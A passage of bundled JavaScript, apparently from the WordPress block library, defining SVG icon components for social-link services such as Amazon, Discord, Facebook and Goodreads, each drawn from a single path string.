  var AmazonIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime431.jsx)(import_primitives165.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime431.jsx)(import_primitives165.Path, { d: &quot;M13.582,8.182C11.934,8.367,9.78,8.49,8.238,9.166c-1.781,0.769-3.03,2.337-3.03,4.644 c0,2.953,1.86,4.429,4.253,4.429c2.02,0,3.125-0.477,4.685-2.065c0.516,0.747,0.685,1.109,1.629,1.894 c0.212,0.114,0.483,0.103,0.672-0.066l0.006,0.006c0.567-0.505,1.599-1.401,2.18-1.888c0.231-0.188,0.19-0.496,0.009-0.754 c-0.52-0.718-1.072-1.303-1.072-2.634V8.305c0-1.876,0.133-3.599-1.249-4.891C15.23,2.369,13.422,2,12.04,2 C9.336,2,6.318,3.01,5.686,6.351C5.618,6.706,5.877,6.893,6.109,6.945l2.754,0.298C9.121,7.23,9.308,6.977,9.357,6.72 c0.236-1.151,1.2-1.706,2.284-1.706c0.584,0,1.249,0.215,1.595,0.738c0.398,0.584,0.346,1.384,0.346,2.061V8.182z M13.049,14.088 c-0.451,0.8-1.169,1.291-1.967,1.291c-1.09,0-1.728-0.83-1.728-2.061c0-2.42,2.171-2.86,4.227-2.86v0.615 C13.582,12.181,13.608,13.104,13.049,14.088z M20.683,19.339C18.329,21.076,14.917,22,11.979,22c-4.118,0-7.826-1.522-10.632-4.057 c-0.22-0.199-0.024-0.471,0.241-0.317c3.027,1.762,6.771,2.823,10.639,2.823c2.608,0,5.476-0.541,8.115-1.66 C20.739,18.62,21.072,19.051,20.683,19.339z M21.336,21.043c-0.194,0.163-0.379,0.076-0.293-0.139 c0.284-0.71,0.92-2.298,0.619-2.684c-0.301-0.386-1.99-0.183-2.749-0.092c-0.23,0.027-0.266-0.173-0.059-0.319 c1.348-0.946,3.555-0.673,3.811-0.356C22.925,17.773,22.599,19.986,21.336,21.043z&quot; }) });

  // packages/block-library/build-module/social-link/icons/bandcamp.mjs
  var import_primitives166 = __toESM(require_primitives(), 1);
  var import_jsx_runtime432 = __toESM(require_jsx_runtime(), 1);
  var BandcampIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime432.jsx)(import_primitives166.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime432.jsx)(import_primitives166.Path, { d: &quot;M15.27 17.289 3 17.289 8.73 6.711 21 6.711 15.27 17.289&quot; }) });

  // packages/block-library/build-module/social-link/icons/behance.mjs
  var import_primitives167 = __toESM(require_primitives(), 1);
  var import_jsx_runtime433 = __toESM(require_jsx_runtime(), 1);
  var BehanceIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime433.jsx)(import_primitives167.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime433.jsx)(import_primitives167.Path, { d: &quot;M7.799,5.698c0.589,0,1.12,0.051,1.606,0.156c0.482,0.102,0.894,0.273,1.241,0.507c0.344,0.235,0.612,0.546,0.804,0.938 c0.188,0.387,0.281,0.871,0.281,1.443c0,0.619-0.141,1.137-0.421,1.551c-0.284,0.413-0.7,0.751-1.255,1.014 c0.756,0.218,1.317,0.601,1.689,1.146c0.374,0.549,0.557,1.205,0.557,1.975c0,0.623-0.12,1.161-0.359,1.612 c-0.241,0.457-0.569,0.828-0.973,1.114c-0.408,0.288-0.876,0.5-1.399,0.637C9.052,17.931,8.514,18,7.963,18H2V5.698H7.799 M7.449,10.668c0.481,0,0.878-0.114,1.192-0.345c0.311-0.228,0.463-0.603,0.463-1.119c0-0.286-0.051-0.523-0.152-0.707 C8.848,8.315,8.711,8.171,8.536,8.07C8.362,7.966,8.166,7.894,7.94,7.854c-0.224-0.044-0.457-0.06-0.697-0.06H4.709v2.874H7.449z M7.6,15.905c0.267,0,0.521-0.024,0.759-0.077c0.243-0.053,0.457-0.137,0.637-0.261c0.182-0.12,0.332-0.283,0.441-0.491 C9.547,14.87,9.6,14.602,9.6,14.278c0-0.633-0.18-1.084-0.533-1.357c-0.356-0.27-0.83-0.404-1.413-0.404H4.709v3.388L7.6,15.905z M16.162,15.864c0.367,0.358,0.897,0.538,1.583,0.538c0.493,0,0.92-0.125,1.277-0.374c0.354-0.248,0.571-0.514,0.654-0.79h2.155 c-0.347,1.072-0.872,1.838-1.589,2.299C19.534,18,18.67,18.23,17.662,18.23c-0.701,0-1.332-0.113-1.899-0.337 c-0.567-0.227-1.041-0.544-1.439-0.958c-0.389-0.415-0.689-0.907-0.904-1.484c-0.213-0.574-0.32-1.21-0.32-1.899 c0-0.666,0.11-1.288,0.329-1.863c0.222-0.577,0.529-1.075,0.933-1.492c0.406-0.42,0.885-0.751,1.444-0.994 c0.558-0.241,1.175-0.363,1.857-0.363c0.754,0,1.414,0.145,1.98,0.44c0.563,0.291,1.026,0.686,1.389,1.181 c0.363,0.493,0.622,1.057,0.783,1.69c0.16,0.632,0.217,1.292,0.171,1.983h-6.428C15.557,14.84,15.795,15.506,16.162,15.864 M18.973,11.184c-0.291-0.321-0.783-0.496-1.384-0.496c-0.39,0-0.714,0.066-0.973,0.2c-0.254,0.132-0.461,0.297-0.621,0.491 c-0.157,0.197-0.265,0.405-0.328,0.628c-0.063,0.217-0.101,0.413-0.111,0.587h3.98C19.478,11.969,19.265,11.509,18.973,11.184z M15.057,7.738h4.985V6.524h-4.985L15.057,7.738z&quot; }) });

  // packages/block-library/build-module/social-link/icons/bluesky.mjs
  var import_primitives168 = __toESM(require_primitives(), 1);
  var import_jsx_runtime434 = __toESM(require_jsx_runtime(), 1);
  var BlueskyIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime434.jsx)(import_primitives168.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime434.jsx)(import_primitives168.Path, { d: &quot;M6.3,4.2c2.3,1.7,4.8,5.3,5.7,7.2.9-1.9,3.4-5.4,5.7-7.2,1.7-1.3,4.3-2.2,4.3.9s-.4,5.2-.6,5.9c-.7,2.6-3.3,3.2-5.6,2.8,4,.7,5.1,3,2.9,5.3-5,5.2-6.7-2.8-6.7-2.8,0,0-1.7,8-6.7,2.8-2.2-2.3-1.2-4.6,2.9-5.3-2.3.4-4.9-.3-5.6-2.8-.2-.7-.6-5.3-.6-5.9,0-3.1,2.7-2.1,4.3-.9h0Z&quot; }) });

  // packages/block-library/build-module/social-link/icons/chain.mjs
  var import_primitives169 = __toESM(require_primitives(), 1);
  var import_jsx_runtime435 = __toESM(require_jsx_runtime(), 1);
  var ChainIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime435.jsx)(import_primitives169.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime435.jsx)(import_primitives169.Path, { d: &quot;M15.6 7.2H14v1.5h1.6c2 0 3.7 1.7 3.7 3.7s-1.7 3.7-3.7 3.7H14v1.5h1.6c2.8 0 5.2-2.3 5.2-5.2 0-2.9-2.3-5.2-5.2-5.2zM4.7 12.4c0-2 1.7-3.7 3.7-3.7H10V7.2H8.4c-2.9 0-5.2 2.3-5.2 5.2 0 2.9 2.3 5.2 5.2 5.2H10v-1.5H8.4c-2 0-3.7-1.7-3.7-3.7zm4.6.9h5.3v-1.5H9.3v1.5z&quot; }) });

  // packages/block-library/build-module/social-link/icons/codepen.mjs
  var import_primitives170 = __toESM(require_primitives(), 1);
  var import_jsx_runtime436 = __toESM(require_jsx_runtime(), 1);
  var CodepenIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime436.jsx)(import_primitives170.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime436.jsx)(import_primitives170.Path, { d: &quot;M22.016,8.84c-0.002-0.013-0.005-0.025-0.007-0.037c-0.005-0.025-0.008-0.048-0.015-0.072 c-0.003-0.015-0.01-0.028-0.013-0.042c-0.008-0.02-0.015-0.04-0.023-0.062c-0.007-0.015-0.013-0.028-0.02-0.042 c-0.008-0.02-0.018-0.037-0.03-0.057c-0.007-0.013-0.017-0.027-0.025-0.038c-0.012-0.018-0.023-0.035-0.035-0.052 c-0.01-0.013-0.02-0.025-0.03-0.037c-0.015-0.017-0.028-0.032-0.043-0.045c-0.01-0.012-0.022-0.023-0.035-0.035 c-0.015-0.015-0.032-0.028-0.048-0.04c-0.012-0.01-0.025-0.02-0.037-0.03c-0.005-0.003-0.01-0.008-0.015-0.012l-9.161-6.096 c-0.289-0.192-0.666-0.192-0.955,0L2.359,8.237C2.354,8.24,2.349,8.245,2.344,8.249L2.306,8.277 c-0.017,0.013-0.033,0.027-0.048,0.04C2.246,8.331,2.234,8.342,2.222,8.352c-0.015,0.015-0.028,0.03-0.042,0.047 c-0.012,0.013-0.022,0.023-0.03,0.037C2.139,8.453,2.125,8.471,2.115,8.488C2.107,8.501,2.099,8.514,2.09,8.526 C2.079,8.548,2.069,8.565,2.06,8.585C2.054,8.6,2.047,8.613,2.04,8.626C2.032,8.648,2.025,8.67,2.019,8.69 c-0.005,0.013-0.01,0.027-0.013,0.042C1.999,8.755,1.995,8.778,1.99,8.803C1.989,8.817,1.985,8.828,1.984,8.84 C1.978,8.879,1.975,8.915,1.975,8.954v6.093c0,0.037,0.003,0.075,0.008,0.112c0.002,0.012,0.005,0.025,0.007,0.038 c0.005,0.023,0.008,0.047,0.015,0.072c0.003,0.015,0.008,0.028,0.013,0.04c0.007,0.022,0.013,0.042,0.022,0.063 c0.007,0.015,0.013,0.028,0.02,0.04c0.008,0.02,0.018,0.038,0.03,0.058c0.007,0.013,0.015,0.027,0.025,0.038 c0.012,0.018,0.023,0.035,0.035,0.052c0.01,0.013,0.02,0.025,0.03,0.037c0.013,0.015,0.028,0.032,0.042,0.045 c0.012,0.012,0.023,0.023,0.035,0.035c0.015,0.013,0.032,0.028,0.048,0.04l0.038,0.03c0.005,0.003,0.01,0.007,0.013,0.01 l9.163,6.095C11.668,21.953,11.833,22,12,22c0.167,0,0.332-0.047,0.478-0.144l9.163-6.095l0.015-0.01 c0.013-0.01,0.027-0.02,0.037-0.03c0.018-0.013,0.035-0.028,0.048-0.04c0.013-0.012,0.025-0.023,0.035-0.035 c0.017-0.015,0.03-0.032,0.043-0.045c0.01-0.013,0.02-0.025,0.03-0.037c0.013-0.018,0.025-0.035,0.035-0.052 c0.008-0.013,0.018-0.027,0.025-0.038c0.012-0.02,0.022-0.038,0.03-0.058c0.007-0.013,0.013-0.027,0.02-0.04 c0.008-0.022,0.015-0.042,0.023-0.063c0.003-0.013,0.01-0.027,0.013-0.04c0.007-0.025,0.01-0.048,0.015-0.072 c0.002-0.013,0.005-0.027,0.007-0.037c0.003-0.042,0.007-0.079,0.007-0.117V8.954C22.025,8.915,22.022,8.879,22.016,8.84z M12.862,4.464l6.751,4.49l-3.016,2.013l-3.735-2.492V4.464z M11.138,4.464v4.009l-3.735,2.494L4.389,8.954L11.138,4.464z M3.699,10.562L5.853,12l-2.155,1.438V10.562z M11.138,19.536l-6.749-4.491l3.015-2.011l3.735,2.492V19.536z M12,14.035L8.953,12 L12,9.966L15.047,12L12,14.035z M12.862,19.536v-4.009l3.735-2.492l3.016,2.011L12.862,19.536z M20.303,13.438L18.147,12 l2.156-1.438L20.303,13.438z&quot; }) });

  // packages/block-library/build-module/social-link/icons/deviantart.mjs
  var import_primitives171 = __toESM(require_primitives(), 1);
  var import_jsx_runtime437 = __toESM(require_jsx_runtime(), 1);
  var DeviantArtIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime437.jsx)(import_primitives171.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime437.jsx)(import_primitives171.Path, { d: &quot;M 18.19 5.636 18.19 2 18.188 2 14.553 2 14.19 2.366 12.474 5.636 11.935 6 5.81 6 5.81 10.994 9.177 10.994 9.477 11.357 5.81 18.363 5.81 22 5.811 22 9.447 22 9.81 21.634 11.526 18.364 12.065 18 18.19 18 18.19 13.006 14.823 13.006 14.523 12.641 18.19 5.636z&quot; }) });

  // packages/block-library/build-module/social-link/icons/discord.mjs
  var import_primitives172 = __toESM(require_primitives(), 1);
  var import_jsx_runtime438 = __toESM(require_jsx_runtime(), 1);
  var DiscordIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime438.jsx)(import_primitives172.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime438.jsx)(import_primitives172.Path, { d: &quot;M20.317 4.369A19.88 19.88 0 0 0 15.894 3a14.145 14.145 0 0 0-.719 1.518 19.205 19.205 0 0 0-5.351 0A14.183 14.183 0 0 0 9.104 3 19.896 19.896 0 0 0 4.682 4.369a18.921 18.921 0 0 0-3.012 12.52 19.929 19.929 0 0 0 6.081 3.097c.487-.65.922-1.339 1.3-2.061a12.445 12.445 0 0 1-1.958-.896c.165-.12.326-.246.483-.374a12.445 12.445 0 0 0 8.946 0c.157.128.318.253.483.374-.627.371-1.281.683-1.958.896.379.722.813 1.41 1.3 2.061a19.94 19.94 0 0 0 6.081-3.097 18.921 18.921 0 0 0-3.012-12.52ZM8.12 15.233c-1.202 0-2.184-1.09-2.184-2.431 0-1.34.97-2.431 2.184-2.431 1.213 0 2.202 1.09 2.184 2.431 0 1.341-.97 2.431-2.184 2.431Zm7.757 0c-1.202 0-2.184-1.09-2.184-2.431 0-1.34.97-2.431 2.184-2.431 1.213 0 2.202 1.09 2.184 2.431 0 1.341-.97 2.431-2.184 2.431Z&quot; }) });

  // packages/block-library/build-module/social-link/icons/dribbble.mjs
  var import_primitives173 = __toESM(require_primitives(), 1);
  var import_jsx_runtime439 = __toESM(require_jsx_runtime(), 1);
  var DribbbleIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime439.jsx)(import_primitives173.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime439.jsx)(import_primitives173.Path, { d: &quot;M12,22C6.486,22,2,17.514,2,12S6.486,2,12,2c5.514,0,10,4.486,10,10S17.514,22,12,22z M20.434,13.369 c-0.292-0.092-2.644-0.794-5.32-0.365c1.117,3.07,1.572,5.57,1.659,6.09C18.689,17.798,20.053,15.745,20.434,13.369z M15.336,19.876c-0.127-0.749-0.623-3.361-1.822-6.477c-0.019,0.006-0.038,0.013-0.056,0.019c-4.818,1.679-6.547,5.02-6.701,5.334 c1.448,1.129,3.268,1.803,5.243,1.803C13.183,20.555,14.311,20.313,15.336,19.876z M5.654,17.724 c0.193-0.331,2.538-4.213,6.943-5.637c0.111-0.036,0.224-0.07,0.337-0.102c-0.214-0.485-0.448-0.971-0.692-1.45 c-4.266,1.277-8.405,1.223-8.778,1.216c-0.003,0.087-0.004,0.174-0.004,0.261C3.458,14.207,4.29,16.21,5.654,17.724z M3.639,10.264 c0.382,0.005,3.901,0.02,7.897-1.041c-1.415-2.516-2.942-4.631-3.167-4.94C5.979,5.41,4.193,7.613,3.639,10.264z M9.998,3.709 c0.236,0.316,1.787,2.429,3.187,5c3.037-1.138,4.323-2.867,4.477-3.085C16.154,4.286,14.17,3.471,12,3.471 C11.311,3.471,10.641,3.554,9.998,3.709z M18.612,6.612C18.432,6.855,17,8.69,13.842,9.979c0.199,0.407,0.389,0.821,0.567,1.237 c0.063,0.148,0.124,0.295,0.184,0.441c2.842-0.357,5.666,0.215,5.948,0.275C20.522,9.916,19.801,8.065,18.612,6.612z&quot; }) });

  // packages/block-library/build-module/social-link/icons/dropbox.mjs
  var import_primitives174 = __toESM(require_primitives(), 1);
  var import_jsx_runtime440 = __toESM(require_jsx_runtime(), 1);
  var DropboxIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime440.jsx)(import_primitives174.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime440.jsx)(import_primitives174.Path, { d: &quot;M12,6.134L6.069,9.797L2,6.54l5.883-3.843L12,6.134z M2,13.054l5.883,3.843L12,13.459L6.069,9.797L2,13.054z M12,13.459 l4.116,3.439L22,13.054l-4.069-3.257L12,13.459z M22,6.54l-5.884-3.843L12,6.134l5.931,3.663L22,6.54z M12.011,14.2l-4.129,3.426 l-1.767-1.153v1.291l5.896,3.539l5.897-3.539v-1.291l-1.769,1.153L12.011,14.2z&quot; }) });

  // packages/block-library/build-module/social-link/icons/etsy.mjs
  var import_primitives175 = __toESM(require_primitives(), 1);
  var import_jsx_runtime441 = __toESM(require_jsx_runtime(), 1);
  var EtsyIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime441.jsx)(import_primitives175.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime441.jsx)(import_primitives175.Path, { d: &quot;M9.16033,4.038c0-.27174.02717-.43478.48913-.43478h6.22283c1.087,0,1.68478.92391,2.11957,2.663l.35326,1.38587h1.05978C19.59511,3.712,19.75815,2,19.75815,2s-2.663.29891-4.23913.29891h-7.962L3.29076,2.163v1.1413L4.731,3.57609c1.00543.19022,1.25.40761,1.33152,1.33152,0,0,.08152,2.71739.08152,7.20109s-.08152,7.17391-.08152,7.17391c0,.81522-.32609,1.11413-1.33152,1.30435l-1.44022.27174V22l4.2663-.13587h7.11957c1.60326,0,5.32609.13587,5.32609.13587.08152-.97826.625-5.40761.70652-5.89674H19.7038L18.644,18.52174c-.84239,1.90217-2.06522,2.038-3.42391,2.038H11.1712c-1.3587,0-2.01087-.54348-2.01087-1.712V12.65217s3.0163,0,3.99457.08152c.76087.05435,1.22283.27174,1.46739,1.33152l.32609,1.413h1.16848l-.08152-3.55978.163-3.587H15.02989l-.38043,1.57609c-.24457,1.03261-.40761,1.22283-1.46739,1.33152-1.38587.13587-4.02174.1087-4.02174.1087Z&quot; }) });

  // packages/block-library/build-module/social-link/icons/facebook.mjs
  var import_primitives176 = __toESM(require_primitives(), 1);
  var import_jsx_runtime442 = __toESM(require_jsx_runtime(), 1);
  var FacebookIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime442.jsx)(import_primitives176.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime442.jsx)(import_primitives176.Path, { d: &quot;M12 2C6.5 2 2 6.5 2 12c0 5 3.7 9.1 8.4 9.9v-7H7.9V12h2.5V9.8c0-2.5 1.5-3.9 3.8-3.9 1.1 0 2.2.2 2.2.2v2.5h-1.3c-1.2 0-1.6.8-1.6 1.6V12h2.8l-.4 2.9h-2.3v7C18.3 21.1 22 17 22 12c0-5.5-4.5-10-10-10z&quot; }) });

  // packages/block-library/build-module/social-link/icons/feed.mjs
  var import_primitives177 = __toESM(require_primitives(), 1);
  var import_jsx_runtime443 = __toESM(require_jsx_runtime(), 1);
  var FeedIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime443.jsx)(import_primitives177.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime443.jsx)(import_primitives177.Path, { d: &quot;M2,8.667V12c5.515,0,10,4.485,10,10h3.333C15.333,14.637,9.363,8.667,2,8.667z M2,2v3.333 c9.19,0,16.667,7.477,16.667,16.667H22C22,10.955,13.045,2,2,2z M4.5,17C3.118,17,2,18.12,2,19.5S3.118,22,4.5,22S7,20.88,7,19.5 S5.882,17,4.5,17z&quot; }) });

  // packages/block-library/build-module/social-link/icons/fivehundredpx.mjs
  var import_primitives178 = __toESM(require_primitives(), 1);
  var import_jsx_runtime444 = __toESM(require_jsx_runtime(), 1);
  var FivehundredpxIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime444.jsx)(import_primitives178.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime444.jsx)(import_primitives178.Path, { d: &quot;M6.94026,15.1412c.00437.01213.108.29862.168.44064a6.55008,6.55008,0,1,0,6.03191-9.09557,6.68654,6.68654,0,0,0-2.58357.51467A8.53914,8.53914,0,0,0,8.21268,8.61344L8.209,8.61725V3.22948l9.0504-.00008c.32934-.0036.32934-.46353.32934-.61466s0-.61091-.33035-.61467L7.47248,2a.43.43,0,0,0-.43131.42692v7.58355c0,.24466.30476.42131.58793.4819.553.11812.68074-.05864.81617-.2457l.018-.02481A10.52673,10.52673,0,0,1,9.32258,9.258a5.35268,5.35268,0,1,1,7.58985,7.54976,5.417,5.417,0,0,1-3.80867,1.56365,5.17483,5.17483,0,0,1-2.69822-.74478l.00342-4.61111a2.79372,2.79372,0,0,1,.71372-1.78792,2.61611,2.61611,0,0,1,1.98282-.89477,2.75683,2.75683,0,0,1,1.95525.79477,2.66867,2.66867,0,0,1,.79656,1.909,2.724,2.724,0,0,1-2.75849,2.748,4.94651,4.94651,0,0,1-.86254-.13719c-.31234-.093-.44519.34058-.48892.48349-.16811.54966.08453.65862.13687.67489a3.75751,3.75751,0,0,0,1.25234.18375,3.94634,3.94634,0,1,0-2.82444-6.742,3.67478,3.67478,0,0,0-1.13028,2.584l-.00041.02323c-.0035.11667-.00579,2.881-.00644,3.78811l-.00407-.00451a6.18521,6.18521,0,0,1-1.0851-1.86092c-.10544-.27856-.34358-.22925-.66857-.12917-.14192.04372-.57386.17677-.47833.489Zm4.65165-1.08338a.51346.51346,0,0,0,.19513.31818l.02276.022a.52945.52945,0,0,0,.3517.18416.24242.24242,0,0,0,.16577-.0611c.05473-.05082.67382-.67812.73287-.738l.69041.68819a.28978.28978,0,0,0,.21437.11032.53239.53239,0,0,0,.35708-.19486c.29792-.30419.14885-.46821.07676-.54751l-.69954-.69975.72952-.73469c.16-.17311.01874-.35708-.12218-.498-.20461-.20461-.402-.25742-.52855-.14083l-.7254.72665-.73354-.73375a.20128.20128,0,0,0-.14179-.05695.54135.54135,0,0,0-.34379.19648c-.22561.22555-.274.38149-.15656.5059l.73374.7315-.72942.73072A.26589.26589,0,0,0,11.59191,14.05782Zm1.59866-9.915A8.86081,8.86081,0,0,0,9.854,4.776a.26169.26169,0,0,0-.16938.22759.92978.92978,0,0,0,.08619.42094c.05682.14524.20779.531.50006.41955a8.40969,8.40969,0,0,1,2.91968-.55484,7.87875,7.87875,0,0,1,3.086.62286,8.61817,8.61817,0,0,1,2.30562,1.49315.2781.2781,0,0,0,.18318.07586c.15529,0,.30425-.15253.43167-.29551.21268-.23861.35873-.4369.1492-.63538a8.50425,8.50425,0,0,0-2.62312-1.694A9.0177,9.0177,0,0,0,13.19058,4.14283ZM19.50945,18.6236h0a.93171.93171,0,0,0-.36642-.25406.26589.26589,0,0,0-.27613.06613l-.06943.06929A7.90606,7.90606,0,0,1,7.60639,18.505a7.57284,7.57284,0,0,1-1.696-2.51537,8.58715,8.58715,0,0,1-.5147-1.77754l-.00871-.04864c-.04939-.25873-.28755-.27684-.62981-.22448-.14234.02178-.5755.088-.53426.39969l.001.00712a9.08807,9.08807,0,0,0,15.406,4.99094c.00193-.00192.04753-.04718.0725-.07436C19.79425,19.16234,19.87422,18.98728,19.50945,18.6236Z&quot; }) });

  // packages/block-library/build-module/social-link/icons/flickr.mjs
  var import_primitives179 = __toESM(require_primitives(), 1);
  var import_jsx_runtime445 = __toESM(require_jsx_runtime(), 1);
  var FlickrIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime445.jsx)(import_primitives179.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime445.jsx)(import_primitives179.Path, { d: &quot;M6.5,7c-2.75,0-5,2.25-5,5s2.25,5,5,5s5-2.25,5-5S9.25,7,6.5,7z M17.5,7c-2.75,0-5,2.25-5,5s2.25,5,5,5s5-2.25,5-5 S20.25,7,17.5,7z&quot; }) });

  // packages/block-library/build-module/social-link/icons/foursquare.mjs
  var import_primitives180 = __toESM(require_primitives(), 1);
  var import_jsx_runtime446 = __toESM(require_jsx_runtime(), 1);
  var FoursquareIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime446.jsx)(import_primitives180.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime446.jsx)(import_primitives180.Path, { d: &quot;M17.573,2c0,0-9.197,0-10.668,0S5,3.107,5,3.805s0,16.948,0,16.948c0,0.785,0.422,1.077,0.66,1.172 c0.238,0.097,0.892,0.177,1.285-0.275c0,0,5.035-5.843,5.122-5.93c0.132-0.132,0.132-0.132,0.262-0.132h3.26 c1.368,0,1.588-0.977,1.732-1.552c0.078-0.318,0.692-3.428,1.225-6.122l0.675-3.368C19.56,2.893,19.14,2,17.573,2z M16.495,7.22 c-0.053,0.252-0.372,0.518-0.665,0.518c-0.293,0-4.157,0-4.157,0c-0.467,0-0.802,0.318-0.802,0.787v0.508 c0,0.467,0.337,0.798,0.805,0.798c0,0,3.197,0,3.528,0s0.655,0.362,0.583,0.715c-0.072,0.353-0.407,2.102-0.448,2.295 c-0.04,0.193-0.262,0.523-0.655,0.523c-0.33,0-2.88,0-2.88,0c-0.523,0-0.683,0.068-1.033,0.503 c-0.35,0.437-3.505,4.223-3.505,4.223c-0.032,0.035-0.063,0.027-0.063-0.015V4.852c0-0.298,0.26-0.648,0.648-0.648 c0,0,8.228,0,8.562,0c0.315,0,0.61,0.297,0.528,0.683L16.495,7.22z&quot; }) });

  // packages/block-library/build-module/social-link/icons/goodreads.mjs
  var import_primitives181 = __toESM(require_primitives(), 1);
  var import_jsx_runtime447 = __toESM(require_jsx_runtime(), 1);
  var GoodreadsIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime447.jsx)(import_primitives181.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime447.jsx)(import_primitives181.Path, { d: &quot;M17.3,17.5c-0.2,0.8-0.5,1.4-1,1.9c-0.4,0.5-1,0.9-1.7,1.2C13.9,20.9,13.1,21,12,21c-0.6,0-1.3-0.1-1.9-0.2 c-0.6-0.1-1.1-0.4-1.6-0.7c-0.5-0.3-0.9-0.7-1.2-1.2c-0.3-0.5-0.5-1.1-0.5-1.7h1.5c0.1,0.5,0.2,0.9,0.5,1.2 c0.2,0.3,0.5,0.6,0.9,0.8c0.3,0.2,0.7,0.3,1.1,0.4c0.4,0.1,0.8,0.1,1.2,0.1c1.4,0,2.5-0.4,3.1-1.2c0.6-0.8,1-2,1-3.5v-1.7h0 c-0.4,0.8-0.9,1.4-1.6,1.9c-0.7,0.5-1.5,0.7-2.4,0.7c-1,0-1.9-0.2-2.6-0.5C8.7,15,8.1,14.5,7.7,14c-0.5-0.6-0.8-1.3-1-2.1 c-0.2-0.8-0.3-1.6-0.3-2.5c0-0.9,0.1-1.7,0.4-2.5c0.3-0.8,0.6-1.5,1.1-2c0.5-0.6,1.1-1,1.8-1.4C10.3,3.2,11.1,3,12,3 c0.5,0,0.9,0.1,1.3,0.2c0.4,0.1,0.8,0.3,1.1,0.5c0.3,0.2,0.6,0.5,0.9,0.8c0.3,0.3,0.5,0.6,0.6,1h0V3.4h1.5V15 C17.6,15.9,17.5,16.7,17.3,17.5z M13.8,14.1c0.5-0.3,0.9-0.7,1.3-1.1c0.3-0.5,0.6-1,0.8-1.6c0.2-0.6,0.3-1.2,0.3-1.9 c0-0.6-0.1-1.2-0.2-1.9c-0.1-0.6-0.4-1.2-0.7-1.7c-0.3-0.5-0.7-0.9-1.3-1.2c-0.5-0.3-1.1-0.5-1.9-0.5s-1.4,0.2-1.9,0.5 c-0.5,0.3-1,0.7-1.3,1.2C8.5,6.4,8.3,7,8.1,7.6C8,8.2,7.9,8.9,7.9,9.5c0,0.6,0.1,1.3,0.2,1.9C8.3,12,8.6,12.5,8.9,13 c0.3,0.5,0.8,0.8,1.3,1.1c0.5,0.3,1.1,0.4,1.9,0.4C12.7,14.5,13.3,14.4,13.8,14.1z&quot; }) });

  // packages/block-library/build-module/social-link/icons/google.mjs
  var import_primitives182 = __toESM(require_primitives(), 1);
  var import_jsx_runtime448 = __toESM(require_jsx_runtime(), 1);
